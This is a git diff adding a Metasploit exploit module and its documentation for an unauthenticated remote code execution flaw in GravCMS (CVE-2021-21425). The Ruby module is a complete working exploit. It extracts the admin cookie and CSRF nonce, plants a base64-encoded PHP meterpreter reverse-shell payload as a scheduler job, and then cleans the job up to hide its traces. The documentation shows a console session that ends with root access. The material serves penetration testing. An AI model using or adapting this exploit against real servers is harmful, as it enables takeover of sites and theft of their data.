diff --git a/documentation/modules/exploit/linux/http/gravcms_exec.md b/documentation/modules/exploit/linux/http/gravcms_exec.md new file mode 100644 index 0000000000..35396047fa --- /dev/null +++ b/documentation/modules/exploit/linux/http/gravcms_exec.md @@ -0,0 +1,94 @@ +## Vulnerable Application + +### Description + +This module exploits arbitrary config write/update vulnerability to achieve remote code execution. Unauthenticated users can execute a terminal command under the context of the web server user. + +In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. + +Technical details about the vulnerability can be found at [here](https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/) . + +### Setup + +GravCMS requires only PHP and a web server to run. Please visit following url to find out required php packages. + +[https://learn.getgrav.org/17/basics/requirements](https://learn.getgrav.org/17/basics/requirements) + +``` +wget https://getgrav.org/download/core/grav-admin/1.7.8 +unzip -x 1.7.8 +chown -R www-data:www-data grav-admin +``` + +Once you finished the installation, visit the GravCMS and complete the admin user creation process. To finish up the installation, execute the following command to enable the scheduler. + +``` +(crontab -l; echo "* * * * * cd /var/www/html/grav-admin;/usr/bin/php bin/grav scheduler 1>> /dev/null 2>&1") | crontab - +``` + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Targets + +### 0 + +`GravCMS < 1.7.8` + +## Scenarios + +``` +msf6 > +msf6 > use exploit/linux/http/gravcms_exec +[*] Using configured payload php/meterpreter/reverse_tcp +msf6 exploit(linux/http/gravcms_exec) > set RHOSTS 192.168.179.131 +RHOSTS => 192.168.179.131 +msf6 exploit(linux/http/gravcms_exec) > set LHOST 172.26.253.227 +LHOST => 172.26.253.227 +msf6 exploit(linux/http/gravcms_exec) > options + +Module options (exploit/linux/http/gravcms_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.179.131 yes The target host(s), range CIDR identifier, or hosts file with + syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.26.253.227 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf6 exploit(linux/http/gravcms_exec) > run + +[*] Started reverse TCP handler on 172.26.253.227:4444 +[*] Sending request to the admin path to generate cookie and token +[+] Cookie and CSRF token successfully extracted ! +[*] Implanting payload via scheduler feature +[+] Scheduler successfully created ! Wait for 1 minute... +[*] Sending stage (39282 bytes) to 172.26.240.1 +[*] Cleaning up the the scheduler... +[+] The scheduler config successfully cleaned up! +[*] Meterpreter session 1 opened (172.26.253.227:4444 -> 172.26.240.1:53912) at 2021-04-11 15:32:01 +0300 + +meterpreter > pwd +/var/www/html/grav-admin +meterpreter > getuid +Server username: root (0) +``` \ No newline at end of file diff --git a/modules/exploits/linux/http/gravcms_exec.rb b/modules/exploits/linux/http/gravcms_exec.rb new file mode 100644 index 0000000000..a4d726a5c6 --- /dev/null +++ b/modules/exploits/linux/http/gravcms_exec.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GravCMS Remote Command Execution', + 'Description' => %q{ + This module exploits arbitrary config write/update vulnerability to achieve remote code execution. + Unauthenticated users can execute a terminal command under the context of the web server user. + + Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. + In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without + needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of + existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, + such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, + an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command + under the context of the web-server user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['CVE', '2021-21425'], + ['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/'] + ], + 'Privileged' => true, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'DefaultOptions' => + { + 'payload' => 'php/meterpreter/reverse_tcp', + 'Encoder' => 'php/base64', + 'WfsDelay' => 90 + }, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => '2021-03-29', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ + SCREEN_EFFECTS, # Custom scheduler on tools screen of the product. + CONFIG_CHANGES # user/config/scheduler.yaml + ] + } + ) + ) + + end + + def capture_cookie_token + print_status 'Sending request to the admin path to generate cookie and token' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin') + ) + + # Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value + if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && !res.get_hidden_inputs.first['admin-nonce'].nil? + print_good 'Cookie and CSRF token successfully extracted !' + else + fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.' + end + + @cookie = res.get_cookies + @admin_nonce = res.get_hidden_inputs.first['admin-nonce'] + + end + + def exploit + capture_cookie_token + + @task_name = Rex::Text.rand_text_alpha_lower(5) + + # Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's + # parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the + # payload with a double quote is necessary to command executed successfully. + + payload.encoded.sub! 'base64_decode(', 'base64_decode("' + payload.encoded.sub! '));', '"));' + + print_status 'Implanting payload via scheduler feature' + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'), + 'cookie' => @cookie, + 'vars_post' => { + 'admin-nonce' => @admin_nonce, + 'task' => 'SaveDefault', + "data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php', + "data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}", + "data[custom_jobs][#{@task_name}][at]" => '* * * * *', + "data[custom_jobs][#{@task_name}][output]" => '', + "data[status][#{@task_name}]" => 'enabled', + "data[custom_jobs][#{@task_name}][output_mode]" => 'append' + } + ) + + if res && res.code == 200 && res.body.include?('Successfully saved') + print_good 'Scheduler successfully created ! Wait for 1 minute...' + end + + end + + def on_new_session + print_status 'Cleaning up the the scheduler...' + + # Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling + # the scheduler without any parameter:) It will leave the only command name in the config file. + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'), + 'cookie' => @cookie, + 'vars_post' => { + 'admin-nonce' => @admin_nonce, + 'task' => 'SaveDefault', + "data[status][#{@task_name}]" => 'enabled' + } + ) + + if res && res.code == 200 && res.body.include?('Successfully saved') + print_good 'The scheduler config successfully cleaned up!' + end + + end + +end